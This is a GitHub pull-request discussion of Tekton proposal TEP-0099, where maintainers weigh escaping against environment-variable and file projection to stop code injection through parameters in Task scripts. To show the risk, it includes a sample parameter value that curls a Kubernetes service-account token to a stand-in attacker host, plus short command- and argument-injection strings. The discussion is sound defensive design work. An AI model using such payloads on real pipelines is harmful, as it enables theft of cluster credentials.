TEP-0099: Parameters in Script

[jerop]

This PR adds the problem statement for the TEP and identifies possible solutions.
The proposal will be added in a subsequent PR after discussions of alternatives.

Using Parameter variables directly in script blocks in Tasks is a footgun
in two ways:

• Security: It is easy for a Task author to accidentally introduce a vector
  for code injection and, by contrast, difficult for a Task user to verify that
  such an injection can't or hasn't taken place.
• Reliability: It is easy for a Task user to accidentally pass in a Parameter
  with a character that would make the Script invalid and fail the Task, making
  the Task extremely fragile.

To solve the above problems, this TEP aims to:

• Introduce a safe and reliable way to access Parameter variables from Scripts,
  and update the documentation and Tekton Catalog with the new approach.
• Disallow use of Parameter variables directly in script blocks of Steps in
  Tekton Pipelines V1 API.

References:

• Issues:
  • Provide shell-escaped parameters for script: pipeline#3226
  • Escape incoming data triggers#675
  • Use Environment Variables instead of Parameters in Script plumbing#971
• Catalog Guidance to Avoid Using Parameters in Script Blocks
• Tekton Enhancement Proposals:
  • TEP-0017: Shell-Escaped Parameters
  • TEP-0023: Implicit Parameters

Co-authored-by: Scott Seaward [email protected]

[jerop]

/kind tep
/cc @bobcatfish @coryrc @imjasonh @mogsie @popcor255 @skaegi @sbwsg

[tekton-robot]

@jerop: GitHub didn't allow me to request PR reviews from the following users: coryrc, mogsie, popcor255.

Note that only tektoncd members and repo collaborators can review this PR, and authors cannot review their own PRs.

In response to this:

/kind tep
/cc @bobcatfish @coryrc @imjasonh @mogsie @popcor255 @skaegi @sbwsg

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

[ghost]

I really like this approach because of its explicitness and I like the other alternative for projecting into the filesystem as well (particularly if we take that approach for the result refs / param files idea from TEP-0086!).

So one more alternative might be to combine these ideas:

1. expand $(params.bar.env) into PARAM_BAR. This instructs Tekton to put the param value into an env var on that Step and allows any script lang to use it:
   shell: echo ${$(params.bar.env)}
   python: print os.getenv("$(params.bar.env)")
   node: console.log(process.env.$(params.bar.env))
2. expand $(params.bar.path) into /tekton/params/bar. This instructs Tekton to put param value into file for that Step and similarly makes it available to any language of script:
   shell: cat $(params.bar.path)
   python: with open("$(params.bar.path)") as file: # ...
   node: fs.readFileAsync($(params.bar.path), 'utf8', (err, data) => {})

[ghost]

I definitely prefer the approach of projecting into env or filesystem rather than shell-escaping the value. Shell-escaping feels language-specific while script fields are language agnostic. I also like the explicitness of using $(params.foo.env) or $(params.foo.path) in the script over implicit projections.

Exposing params exclusively via the filesystem makes the most sense to me if we decide to take that route in TEP-0086 for populating params from a sidecar.

[lbernick]

Agreed with concerns about shell-escaping. My preferred approach would be to disallow interpolation in scripts, and to have an opt-out feature that makes parameters available as env vars (as proposed in alternative 1).

[mogsie]

I've mentioned my objections to shell escaping, and think it's a non-starter. To me, projecting to a file system would be nice-to-have, as some parameters might contain (important) newlines, special characters and so on. However, having to read in each parameter to a variable can be tedious and verbose, and easily fumbled, so I would much much prefer the automatic environment variable mapping as the default.

params:
  - name: branch
    description: The name of a branch (no whitespace or trailing newline allowed)
    type: string
    # projection: environment  # the default perhaps?
  - name: manifest
    description: A yaml manifest (that should end with a trailing newline)
    type: string
    projection: file  # or something.

This would supply

• branch as the PARAM_BRANCH environment variable
• manifest as /tekton/params/manifest, and its path provided as $(params.manifest.path) perhaps.

The "projection" could in future be used for an as-of-yet unused feature: the script's standard input! e.g. projection: stdin = pass a parameter to the stdin of the command. That could allow you to have sed or jq as the shell, to do simple transformations of data as tasks. It would of course be awesome if that is paired with the script's stdout being piped to a result.

[ghost]

The only issue I see with this proposal is that it's backwards-incompatible in a different way: suddenly every param is exposed as an env var or file to every step in the task. Right now only those steps that explicitly include the param receive its value.

I'll update the alternatives to include this one as well, thanks @mogsie

[mogsie]

That is actually a good point. When I define multi-step tasks, I generally want some parameters to go to some steps. I often give them different names based on their role. One step might use a parameter in one way, and another step in a different way. So maybe explicit env: name + value is best... It removes the problem of naming conflicts, which step gets which parameter, and the "implicitness" of magically set environment variables.

[ghost]

Looking at the list of variables available to Tasks the majority should be filtered through various forms of escaping. However I still feel uneasy about any of those values being injected directly into script because we don't have an audit of the kinds of escaping taking place across the codebase wrt those vars. I'd be happy to take this on if we decide to move to implementable in some form here but decide to only limit the scope to params right now.

[vdemeester]

imho as @sbwsg it might be for all things that can be interpolate in the script.

[mogsie]

IMHO interpolating simple things like paths and names of namespaces and so on should be fairly safe. The value of context.taskRun.Namespace will never be --target=/hack-me or ; curl attacker.example. The only real attack vector is that of parameters that can contain arbitrary data.

[lbernick]

nit: I would rephrase this slightly-- the goal isn't to be backwards incompatible in v1, it's to be secure by default and backwards incompatibility is unfortunately necessary

[vdemeester]

As stated above, I am not sure why we "assume" we can't fix this without being backward incompatible. If we disallow parameter variable interpolation in script, of course we will, but is it the only way to do it ?

[ghost]

You're totally right @lbernick : being backwards incompatible is not the end goal here. We'll update this bit.

@vdemeester Maybe we could define backwards compatibility more clearly here?

The TEP is treating "Backwards compatible" to mean we continue to support users injecting executable statements from params into scripts using the current param syntax. E.g. continue to support the code injection use-case in the git-clone catalog task that spurred some of this discussion.

I'm not sure we can have it both ways though. Today we support the direct interpolation of param values into script bodies as executable statements. Changing that is de facto backwards incompatible I think. As soon as we treat param values as something to sanitize then it necessarily means those values will be escaped before insertion (rendered non-executable), stringified as env vars, put in a file on disk, or something else.

[lbernick]

When you say "operator" do you mean the operator of a cluster has the choice of whether to permit interpolation? Do you know why users might want this? (Maybe they are trying to use a task they don't own that has params embedded in a script-- but ideally as you mentioned we should be able to automate updating Tasks, and all catalog tasks should be updated.)

I like that allowing this behavior to be configurable by cluster operators doesn't force everyone to audit catalog Tasks for security, but I'm not sure why someone might need it.

[ghost]

Yeah, that's the definition of "operator" we had in mind.

The intention was to support users who have legacy Tasks that haven't been updated to access params in whatever way we decide here. Automation should be able to fix 90% of cases I hope and validation could disallow the rest, but the idea was to give operators that extra wiggle room if they really really don't have the bandwidth to update an existing Task that's vital to some part of their infra.

I definitely don't have any user reports to hand requesting this kind of support though.

[lbernick]

Can you elaborate on why this is safer than the current behavior? Are results safe to use in scripts, while params are (currently) not? How are the parameter values in scripts replaced with their values in this proposal?

[ghost]

Params are interpolated directly into the script before it's passed to the container to run. Any value passed to a param is inserted into the script verbatim and executed as if the original script included it - the controller doesn't touch the string content and the container itself doesn't know any different. Plucking out one of the examples from the TEP:

  steps:
  - name: foo
    image: myimage
    script: |
      echo $(params.bar)

If a TaskRun passes the value like this:

params:
- name: bar
  value: $(curl -s http://attacker.example.com/?value=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token))

... then the script that the container executes is:

echo $(curl -s http://attacker.example.com/?value=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token))

[lbernick]

Thanks! What I'm confused about is why writing the value of the parameter to the filesystem prevents this problem. Based on the sample scripts provided, it looks like Tekton is still going to substitute the parameter value into the script. I may be misunderstanding the proposal here, but it sounds like the parameter values are being copied to a different location before being substituted into the script. Why would that prevent injection attacks?

[ghost]

Ah I see! I think the intention here was to inject the path to the file instead of the content of the file itself.

The doc says:

However, instead of exposing the file path, we would hide it behind a variable (possibly reusing $(params.<name>).

I believe this means that instead of having the user type out the literal path to the param file, we'd use a variable to give them the path instead. So $(params.foo) would become /tekton/params/foo. Variables are preferable rather than hard-codes paths so that, as much as possible, specific paths don't get forever burned in to an API contract.

So the safety aspect comes from the fact that, in order to inject code, a script would first have to explicitly choose to execute a param from a file, rather than having the content of that param in-lined into the script field itself.

[lbernick]

Thanks, this makes a lot more sense! The example might be more clear if the output script is changed to reflect the fact that it's now reading from a file, e.g. cat $(params.foo). This looks like it would be much more challenging to automate.

[lbernick]

Will shell escaping prevent all shell injection vulnerabilities? Our catalog guidance says that "no amount of escaping will be air-tight".

This sounds safer than current behavior but it seems like it will still lead to users having to audit Tasks for security.

[vdemeester]

/assign

[vdemeester]

• The problem of script is the obvious one but injection is not limited to it (although harder)
• Did we look at a way to handle this in a backward compatible way ? We control what we write as part of the script, so we could "mutate" the script somehow ? (thinking about it, it sounds hard to do in a lanuage-agnostic way)
• How much is script used ? What for (aka how could it be used differently in which case) ? How often is there a shebang and thus most likely a different language used ? Depending on the answer, we could look into other alternative (we know a lot of things if there is no shebang for example, so it's "relatively easy" to escape things, …).

The trick here is, if we continue allowing Parameter interpolation in script and do not change anything, we put the burden (and verbosity) on the author of the Task to make them safe. Or we expose the user of the Task to possible malicious injection.

As linked in that document, https://github.com/tektoncd/plumbing/pull/977/files (and other PRs) gives some example of the use of script and what is required to "sanitize" Task with script today. The current "workaround" is very verbose and I think I tend to like one of the alternative with the .env at the end, even though it might make this "kind-of security" opt-in.

[vdemeester]

We want things to be safe, I am not sure we want to "disallow" Parameter variables in sciprt if we can find a way to make it safely right ?

[ghost]

I'll update the wording here to something like this:

- By default in v1, prevent implicit interpolatin of param values into executable
  contexts unless we can validate that doing so is safe.

[vdemeester]

I think the use of script highlight this problem but I don't think it's limited to it, right ? You could definitely still use Parameter to inject malicious code without script (and with env var), it's just harder 🙃

[ghost]

Yeah I think the line we want to draw is between "this is the default for param values" and "this is possible with param values". At the moment execution of param values as script statements is the default.

[vdemeester]

I agree with 4. but not necessarily with this. Disallowing Parameter variable interpolation in srcipt is one way to achieve 4., it might not be the only way.

[vdemeester]

As stated above, I am not sure why we "assume" we can't fix this without being backward incompatible. If we disallow parameter variable interpolation in script, of course we will, but is it the only way to do it ?

[vdemeester]

Isn't this a "user" mutation (aka that's up to the user to add the .shell-escaped) ?

[vdemeester]

imho as @sbwsg it might be for all things that can be interpolate in the script.

[ghost]

How much is script used ? What for (aka how could it be used differently in which case) ? How often is there a shebang and thus most likely a different language used ? Depending on the answer, we could look into other alternative (we know a lot of things if there is no shebang for example, so it's "relatively easy" to escape things, …).

Just to put some numbers to this for the catalog: we have ~128 tasks. 76 use a script block. 45 have a shebang, 31 use tekton default shell (sh).

catalog task #! types

Count	Shell
31	Tekton's Default (sh)
19	bash, /usr/bin/env bash, etc...
14	python or python3 or /usr/libexec/platform-python etc...
11	sh, /usr/bin/env sh etc...
1	/usr/bin/env pwsh

[mogsie]

Just a side note. Yes, it is a nice goal to avoid having to understand "advanced topics", but I think when writing any language, there must be some fundamental understanding. Even a simple script like cp $PARAM_SOURCE $PARAM_TARGET is not good enough; you must know about how whitespace is treated. But cp "$PARAM_SOURCE" "$PARAM_TARGET" isn't good either, because if a source file name is called --foo for whatever reason, the command fails.

An attack vector here is setting $PARAM_SOURCE to --target=/somewhere — so that the script ends up being:

cp --target=/somewhere target

which ends up copying target to /somewhere. Imagine an attacker updating a tekton result, if you can guess the path of a result, causing tasks further down the line to misbehave.

(FWIW the correct way to copy is therefore cp -- "$PARAM_SOURCE" "$PARAM_TARGET").

This is just one of the numerous common bash pitfalls.

The same problem is apparent in any language (the guidance I wrote showed how to break out of a python string / heredoc; interpolating strings into source code and then handing that source code over to a parser securely is an incredibly difficult problem to solve. This is why we have things like arguments, environment variables, stored procedures for SQL, and so on; to avoid problems that arise when escaping.

[mogsie]

I wrote this part of the catalog guidance, and it is there mainly because the premise of escaping is flawed; when the result will be parsed from scratch by the interpreter, e.g. bash or python. I actually think it's impossible to create an escaping solution that "just works" in all situations. e.g. if I have the following script

#!/bin/sh
echo $(params.bar)
echo "$(params.bar)"
echo '$(params.bar)'
cat <<EOF
$(params.bar)
EOF
cat <<'EOF'
$(params.bar)
EOF

here there are five different escaping techniques; the first one needs to be escaped, the second one needs to protect against " and $ syntax, the third against ', the last two need additionally to somehow escape \nEOF. It just gets extremely complicated, and will undoubtedly be the cause of much frustration.

[mogsie]

Should this just be

echo $(params.bar.env)

and it will expand to

echo ${PARAM_BAR}

(if not, this alternative is no different than the next).

[ghost]

Good catch, i started editing this one and then mid-stream added it as a new alternative instead without backing out these changes. Will fix 👍

[mogsie]

One challenge with this is that I believe that parameter names are quite permissive, and allow lots of punctuation marks and even whitespace. Coming up with a solid mapping from parameter name to environment variable name (or specifying what happens if there is a collission, like rejecting the task / task run) is important.

[mogsie]

The reality is that these parameters will not be used in simple "echos". They will be used in calculations and commands. It's a bit strange that all the examples are the "echo params.bar" example that I used when writing the catalog guideline against interpolation.

These parameters will almost always be used in other commands, e.g. cloning a repo, checking out a branch, setting author names, and so on. So perhaps the example ought to be slightly more real-world?

git checkout "$(params.branch)"

Because the more interesting question is what that would become, especially if the repo is now a file. We would need to read the file in as a variable in bash, something that is not the easiest thing to do and comes with its own shell nuances. Especially when it comes to the trailing linebreaks.

foo=$(cat /tekton/params/in/foo)  # removes all trailing line-breaks
IFS='' read -d -r bar /tekton/params/in/bar  # keeps any trailing line-breaks

While removing a trailing linebreak characters is often the right thing — sometimes it is not, and knowing when to do what is important. Since the results have no special treatment of trailing whitespace (a good thing IMHO), maybe tekton should keep this stance. I also mentioned this briefly in the guidelines, but it might be that it it should be expanded upon.

[ghost]

I hear you on the real-world examples and will update the content here to use git clone as you suggest. Just want to respond to one thing you mentioned:

While removing a trailing linebreak characters is often the right thing — sometimes it is not, and knowing when to do what is important.

Our aim with this TEP is not to "fix" bash scripting, or even make it easier really. As you mentioned elsewhere we have to lean a little bit on script authors to be knowledgeable about the language they're using.

We're really looking for something like an "as-close-as-possible-to-existing-behaviour" solution that allows us to stop injecting content into executable contexts by default. I've taken the read-based approach you described in the Alternatives of this doc so that we continue respecting any leading and trailing whitespace, similar to if the content of the param were injected directly.

Your example elsewhere of prepared statements in SQL is spot on for the intentions behind this TEP I think!

[mogsie]

IMHO interpolating simple things like paths and names of namespaces and so on should be fairly safe. The value of context.taskRun.Namespace will never be --target=/hack-me or ; curl attacker.example. The only real attack vector is that of parameters that can contain arbitrary data.

[mogsie]

I've mentioned my objections to shell escaping, and think it's a non-starter. To me, projecting to a file system would be nice-to-have, as some parameters might contain (important) newlines, special characters and so on. However, having to read in each parameter to a variable can be tedious and verbose, and easily fumbled, so I would much much prefer the automatic environment variable mapping as the default.

params:
  - name: branch
    description: The name of a branch (no whitespace or trailing newline allowed)
    type: string
    # projection: environment  # the default perhaps?
  - name: manifest
    description: A yaml manifest (that should end with a trailing newline)
    type: string
    projection: file  # or something.

This would supply

• branch as the PARAM_BRANCH environment variable
• manifest as /tekton/params/manifest, and its path provided as $(params.manifest.path) perhaps.

The "projection" could in future be used for an as-of-yet unused feature: the script's standard input! e.g. projection: stdin = pass a parameter to the stdin of the command. That could allow you to have sed or jq as the shell, to do simple transformations of data as tasks. It would of course be awesome if that is paired with the script's stdout being piped to a result.

[jerop]

/assign @skaegi

[lbernick]

/assign

[bobcatfish]

/assign

[tekton-robot]

[APPROVALNOTIFIER] This PR is NOT APPROVED

This pull-request has been approved by:
To complete the pull request process, please assign bobcatfish
You can assign the PR to them by writing /assign @bobcatfish in a comment when ready.

The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

• teps/OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[mogsie]

Great! I wonder what it might look like if some form of projection would make sense at the step level, but it would almost be identical to just plain env...

step:
- name: clone
  params:
  - name: URL_1
    value: params.url1

vs

step:
- name: clone
  env:
  - name: URL_1
    value: $(params.url1)

The former could perhaps be extended to support an expression language like cel, to do simple string manipulation at projection time:

step:
- name: clone
  params:
  - name: URL_1
    value: params.url1.substr(3, 5)

This is of course our of scope, I'm just highlighting the flexibility in defining a separate projection over env and $(...) syntax. We probably should not be mixing the $() syntax with cel.

[bobcatfish]

Some quick feedback from me: I discussed this offline with @jerop as well but my overall thoughts are:

• Need to make sure this makes sense for multiple languages (echoing feedback from @mogsie)
• I'd like to see more options that don't involve CRD mutation (and I'd like to avoid mutating our 'authoring time' types as much as possible - Params copied in all steps in saved pipeline in alpha mode on Openshift with tekton 0.29+ pipeline#4388 )
• I wanted to confirm that using environment variables in bash scripts definitely prevents code injection (and i think it does, looking at https://mywiki.wooledge.org/BashProgramming/05#Environment_variables ? https://www.redhat.com/en/blog/bash-specially-crafted-environment-variables-code-injection-attack seems to imply as well that this is the expected behavior and acting otherwise is a vulnerability)
• A possible alternative (and/or complimentary feature) for this would be to add variable validation - i.e. limiting params to only support the structure that the Task expects (e.g. not allowing spaces etc) - which @skaegi mentioned in TEP-0017 Propose creating shell-escaped parameters #208 (comment)

[tekton-robot]

@jerop: PR needs rebase.

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

[jerop]

hoping to revisit someday when I have the capacity, closing for now